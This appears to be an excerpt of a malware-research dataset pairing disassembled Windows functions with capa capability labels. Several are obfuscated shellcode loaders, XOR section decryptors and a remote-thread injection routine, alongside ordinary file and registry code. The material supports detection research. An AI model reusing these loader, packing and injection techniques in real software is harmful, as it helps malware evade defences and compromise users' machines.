joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x403f9f
pop dword [ebp - 0x50]
mov eax, 0xdc71c61
sub eax, 0xd86dcc2
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3bc66352
sub dword [ebp - 0x60], 0xed741e07
mov dword [ebp - 0x5c], 0x7d7b9307
add dword [ebp - 0x5c], 0xb4b7b93e
mov dword [ebp - 0x58], 0x502dcf07
sub dword [ebp - 0x58], 0x3e18ad9
mov dword [ebp - 0x54], 0xebb2391f
sub dword [ebp - 0x54], 0xebb2391f
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x44afae8d
sub dword [ebp - 0x60], 0xd03d4537
mov dword [ebp - 0x5c], 0x96727536
add dword [ebp - 0x5c], 0xaaf9ec3f
mov dword [ebp - 0x58], 0x9b2f39ea
sub dword [ebp - 0x58], 0x37bfcd7e
mov dword [ebp - 0x54], 0x5e179ea7
sub dword [ebp - 0x54], 0x5e179ea7
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x879dc143
add eax, 0x78a37ef9
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b026
push 0
call eax
mov ecx, 0x48d5
mov ebx, eax
mov edx, 0x75be4208
add edx, 0x8a837df8
add edx, dword [ebp - 0x50]
mov edi, 0x262d78c0
add edi, 0x165c5d62
add dword [ebp - 0x24], 0xf45313d5
mov esi, dword [edx]
xor dword [ebp - 0x38], 0xaf7c7c40
add esi, edi
xor dword [ebp - 0x14], ecx
mov dword [ebx], esi
add dword [ebp - 0x38], edi
add ebx, 0x6c24232e
add ebx, 0x93dbdcd6
add edx, 4
loop 0x4040b6
add eax, 0xe089654a
add eax, 0x1f77b0dd
xor ebx, ebx
add ebx, eax
add eax, 0xc243feb8
add eax, 0x3dbc014d
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x11c84827
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x64c80096
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x5053943c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x5053944b
pop dword [ebp - 0x18]
mov eax, 0x92ea63af
sub eax, 0x4296cf64
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x220f1189
add dword [ebp - 0x28], 0x2c4333c2
mov dword [ebp - 0x24], 0x7e47d369
sub dword [ebp - 0x24], 0x4c148724
mov dword [ebp - 0x20], 0x4d5ceab8
sub dword [ebp - 0x20], 0x110a68a
mov dword [ebp - 0x1c], 0x192f5c62
add dword [ebp - 0x1c], 0xe6d0a39e
lea eax, [ebp - 0x28]
push eax
mov eax, 0x377fab9a
add eax, 0x18d3658a
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x857bfe82
sub dword [ebp - 0x28], 0x1109952c
mov dword [ebp - 0x24], 0x7154ed58
sub dword [ebp - 0x24], 0x2fe88be3
mov dword [ebp - 0x20], 0x34ff79c0
add dword [ebp - 0x20], 0x2e6ff2ac
mov dword [ebp - 0x1c], 0x421921ac
add dword [ebp - 0x1c], 0xbde6de54
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x609c382
sub eax, 0xb5b6b24e
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3a461
push 0
call eax
mov ecx, 0x4af6
mov edx, eax
mov ebx, 0x6d351bbe
add ebx, 0xe3213442
add ebx, dword [ebp - 0x18]
mov esi, 0x5db100db
add esi, 0x86db165f
mov dword [ebp - 4], 0xad065284
mov edi, dword [ebx]
add dword [ebp - 0x14], ebx
add edi, esi
xor dword [ebp - 0x10], eax
mov dword [edx], edi
mov dword [ebp - 4], 0x3d5dde
add edx, 4
add ebx, 0x3e20c0bb
add ebx, 0xc1df3f49
loop 0x50539567
add eax, 0x5749b959
add eax, 0xa8b76552
xor ebx, ebx
add ebx, eax
add eax, 0x40920893
sub eax, 0x4092088e
mov ecx, 0xbcad3eea
add ecx, 0x93a5c116
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x50540fec
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.vsansi.dll_RegSetValueExW]
test eax, eax
jle 0x50541011
and eax, 0xffff
or eax, 0x80070000
ret 8
Function at 0x5054eb3e
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x468
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x5055df98], esi
push edi
mov dword [esp + 0x10], esi
jne 0x5054ed0f
push 0x14
call sub.MSVCR70.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x5054eb6f
mov ecx, eax
call fcn.5054e63e
jmp 0x5054eb71
xor eax, eax
mov dword [0x5055df98], eax
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov dword [esp + 0x14], esi
mov esi, 0x5055dfa0
push esi
call fcn.5053943c
test eax, eax
je 0x5054ed0f
mov ebx, dword [sym.imp.MSVCR70.dll_wcscat]
push 0x505342dc
push esi
call ebx
push esi
mov edi, str.file:__
push edi
call ebx
add esp, 0x10
lea eax, [esp + 0x10]
push eax
mov eax, 0x50537848
push eax
push eax
mov ecx, 0x5055df50
call fcn.50538f90
test eax, eax
mov ebp, dword [sym.imp.MSVCR70.dll_swprintf]
jl 0x5054ec07
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x5054ec07
push dword [esp + 0x1c]
push esi
push 0x505342c4
push esi
call ebp
push dword [esp + 0x2c]
push edi
push 0x505342b8
push edi
call ebp
add esp, 0x20
mov dword [esp + 0x14], 1
jmp 0x5054ec11
push 0x505342ac
push esi
call ebx
pop ecx
pop ecx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x5054ec24
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
and dword [esp + 0x10], 0
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x5054ecc7
cmp dword [esp + 0x14], 0
je 0x5054ed0f
push 0x5053429c
push edi
call dword [sym.imp.MSVCR70.dll_wcscpy]
pop ecx
pop ecx
push esi
call fcn.5053943c
push 0x505342dc
push esi
call ebx
push esi
push edi
call ebx
push 0x505342ac
push esi
call ebx
add esp, 0x18
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ec8a
jmp 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ecc7
push dword [esp + 0x18]
call dword [sym.imp.kernel32.dll_FindClose]
mov eax, dword [0x5055df98]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x468
ret
Function at 0x4015245
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4008bc0]
jne 0x401524e
ret
jmp fcn.040155ef

Function at 0x4015f13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4015f22
pop dword [ebp - 0x10]
mov eax, 0xae9e72c6
add eax, 0x5562ec5c
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x37bfe9a3
add dword [ebp - 0x20], 0x16925ba8
mov dword [ebp - 0x1c], 0x562f4879
sub dword [ebp - 0x1c], 0x23fbfc34
mov dword [ebp - 0x18], 0xfdb32a90
add dword [ebp - 0x18], 0x4e99199e
mov dword [ebp - 0x14], 0x75c60ccd
sub dword [ebp - 0x14], 0x75c60ccd
lea eax, [ebp - 0x20]
push eax
mov eax, 0x17d30edd
add eax, 0xec2d013b
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4cdb38b9
add dword [ebp - 0x20], 0x2797309d
mov dword [ebp - 0x1c], 0x2de459bc
add dword [ebp - 0x1c], 0x138807b9
mov dword [ebp - 0x18], 0x99f893be
sub dword [ebp - 0x18], 0x36892752
mov dword [ebp - 0x14], 0xe8b5ec5b
add dword [ebp - 0x14], 0x174a13a5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5a259eaf
add eax, 0xa9da71c9
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x353a4
push 0
call eax
mov ecx, 0x42e2
xor ebx, ebx
add ebx, eax
mov esi, 0x3008daba
sub esi, 0x2bfedaba
add esi, dword [ebp - 0x10]
mov edi, 0x28974d13
sub edi, 0xe93ab8d9
add dword [ebp - 4], esi
mov edx, dword [esi]
sub dword [ebp - 8], edx
add edx, edi
xor dword [ebp - 8], esi
mov dword [ebx], edx
xor dword [ebp - 4], esi
add ebx, 0x2091e09f
add ebx, 0xdf6e1f65
add esi, 0xc0e37f7e
add esi, 0x3f1c8086
loop 0x4016040
add eax, 0xfe5b
mov ebx, eax
add eax, 0xd40c0b8a
add eax, 0x2bf3f47b
mov ecx, 0x343138af
add ecx, 0xcfcec751
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401443
pop dword [ebp - 0x44]
mov eax, 0x401443
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x31c17081
sub dword [ebp - 0x54], 0xe36f2b36
mov dword [ebp - 0x50], 0x4b5686ec
add dword [ebp - 0x50], 0xe6dcc559
mov dword [ebp - 0x4c], 0xa199e96c
sub dword [ebp - 0x4c], 0x554da53e
mov dword [ebp - 0x48], 0xc6b19357
sub dword [ebp - 0x48], 0xc6b19357
lea eax, [ebp - 0x54]
push eax
mov eax, 0xcdbbc4fb
sub eax, 0xcd7b53b7
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x76ed7023
add dword [ebp - 0x54], 0xfd84f933
mov dword [ebp - 0x50], 0xb71df2fb
add dword [ebp - 0x50], 0x8a4e6e7a
mov dword [ebp - 0x4c], 0x27eeca51
add dword [ebp - 0x4c], 0x3b80a21b
mov dword [ebp - 0x48], 0x2ed45e81
sub dword [ebp - 0x48], 0x2ed45e81
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x91802e58
sub eax, 0x913fbd48
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x33ad1
push 0
call eax
mov ecx, 0xd7d481f2
sub ecx, 0xd7d44b9f
xor esi, esi
add esi, eax
mov edx, 0x9a1f848f
sub edx, 0x99dc248f
add edx, dword [ebp - 0x44]
mov edi, 0x9f5d6723
add edi, 0xb2f07d4d
xor dword [ebp - 0x3c], eax
mov ebx, dword [edx]
sub dword [ebp - 0x28], ecx
add ebx, edi
sub dword [ebp - 0x20], 0x1a10ce18
mov dword [esi], ebx
sub dword [ebp - 0xc], 0x8ce71450
add esi, 0x19b44a77
sub esi, 0x19b44a73
add edx, 0x6d136072
add edx, 0x92ec9f92
loop 0x401562
add eax, 0x74133f36
add eax, 0x8bed8ce9
xor ebx, ebx
add ebx, eax
add eax, 0x582b232b
add eax, 0xa7d4dcda
mov ecx, 0x297132c2
sub ecx, 0x293132c2
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x402a69
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x424010]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402afd
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402aba
cmp dword [ebp + 0x10], ebx
jne 0x402af1
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402acc
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402aa1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
call fcn.004060b1
cmp eax, ebx
je 0x402b04
push ebx
push dword [0x424010]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402afd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x424010], ebx
jne 0x402afa
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402afa
jmp 0x402afd
Function at 0x406120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422af4], 0
push esi
jne 0x406157
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406131
mov dword [ecx*4 + 0x422af0], eax
inc ecx
cmp ecx, 0x100
jl 0x40612c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406188
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422af0]
xor eax, esi
inc ecx
dec edx
jne 0x40616a
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x4fcc5faf
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x2b711ba7
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401c27
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x220
mov eax, dword [0x459b00]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x238]
xor ebp, ebp
push edi
mov dword [esp + 0x28], eax
mov ecx, ebp
mov ebx, 0x100
mov eax, ecx
mov byte [esp + ecx + 0x2c], cl
cdq
idiv dword [esp + 0x240]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, ebx
jl 0x401c5a
mov esi, ebp
mov edi, ebp
mov dl, byte [esp + esi + 0x2c]
movzx eax, byte [esp + esi + 0x12c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401c9e
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x2c]
mov byte [esp + esi + 0x2c], al
inc esi
mov byte [esp + edi + 0x2c], dl
cmp esi, ebx
jl 0x401c7b
mov ecx, ebp
mov edx, ebp
mov edi, ebp
cmp dword [esp + 0x238], ecx
jle 0x401d9d
mov dword [esp + 0x24], ebp
inc ecx
and ecx, 0x800000ff
jns 0x401cd7
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x2c]
movzx esi, bl
add edx, esi
mov dword [esp + 0x1c], ecx
and edx, 0x800000ff
jns 0x401cf4
dec edx
or edx, 0xffffff00
inc edx
lea eax, [esp + 0x24]
mov dword [esp + 0x20], edx
push eax
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004013ee
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
sub eax, ebp
sar eax, 2
mov eax, dword [ebp + eax*4 - 4]
add eax, 0x41c300
push eax
push 0x45a988
call fcn.004010d0
mov edx, dword [esp + 0x28]
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + edx + 0x2c]
mov byte [esp + ecx + 0x2c], al
mov byte [esp + edx + 0x2c], bl
movzx eax, byte [esp + ecx + 0x2c]
mov ebx, dword [esp + 0x28]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x2c]
xor byte [ebx + edi], al
test ebp, ebp
je 0x401d8d
mov eax, dword [esp + 0x18]
sub eax, ebp
and eax, 0xfffffffc
push eax
push ebp
call fcn.004013c2
mov edx, dword [esp + 0x28]
xor ebp, ebp
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
jmp 0x401d8f
xor ebp, ebp
inc edi
cmp edi, dword [esp + 0x238]
jl 0x401cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404ae9
add esp, 0x220
ret

Function at 0x4020fc
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x402127
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x402108
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x459b00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x459638
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x37
push section..data
push 0x33600
mov esi, 0x426038
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4597c0
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x411093
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f04

Function at 0x41148d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055e0
mov eax, dword [0x459b00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004100f9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114cf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41162b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b320
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x45b420]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412484
mov ecx, dword [esi*4 + 0x45b420]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411624
cmp eax, dword [edi + ecx + 0x24]
jne 0x411624
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411624
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412484
add esp, 0x14
test edx, edx
jl 0x411624
jg 0x41159a
test eax, eax
jb 0x411624
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411624
jl 0x4115b4
cmp dword [ebp - 0x1008], eax
ja 0x411624
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115d2
test ebx, ebx
je 0x41160b
cmp ecx, edi
jae 0x41160b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115ec
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4115f8
cmp byte [ecx + 1], 0xa
jne 0x4115f8
inc ecx
jmp 0x4115f8
movzx eax, al
movsx eax, byte [eax + 0x459db8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115d2
cmp edx, ebx
jne 0x4115d2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411629
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret
Function at 0x411922
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x45b420]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411962
cmp byte [ebx], 0xa
jne 0x411962
or byte [eax + edi + 0x28], 4
jmp 0x411967
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a65
mov al, byte [edx]
cmp al, 0x1a
je 0x411a47
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x411996
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119bb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119c5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411978
jmp 0x411a65
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a42
cmp dword [ebp - 0xc], 0
je 0x411a42
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x45b420]
test byte [eax + edi + 0x28], 0x48
je 0x411a1c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a07
mov byte [esi], dl
jmp 0x411a18
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x45b420]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a65
cmp byte [ebp - 1], 0xa
jne 0x411a2b
cmp esi, ebx
jne 0x411a2b
mov byte [esi], 0xa
jmp 0x411a64
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a65
mov byte [esi], 0xd
jmp 0x411a64
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x45b420]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a61
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a65
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret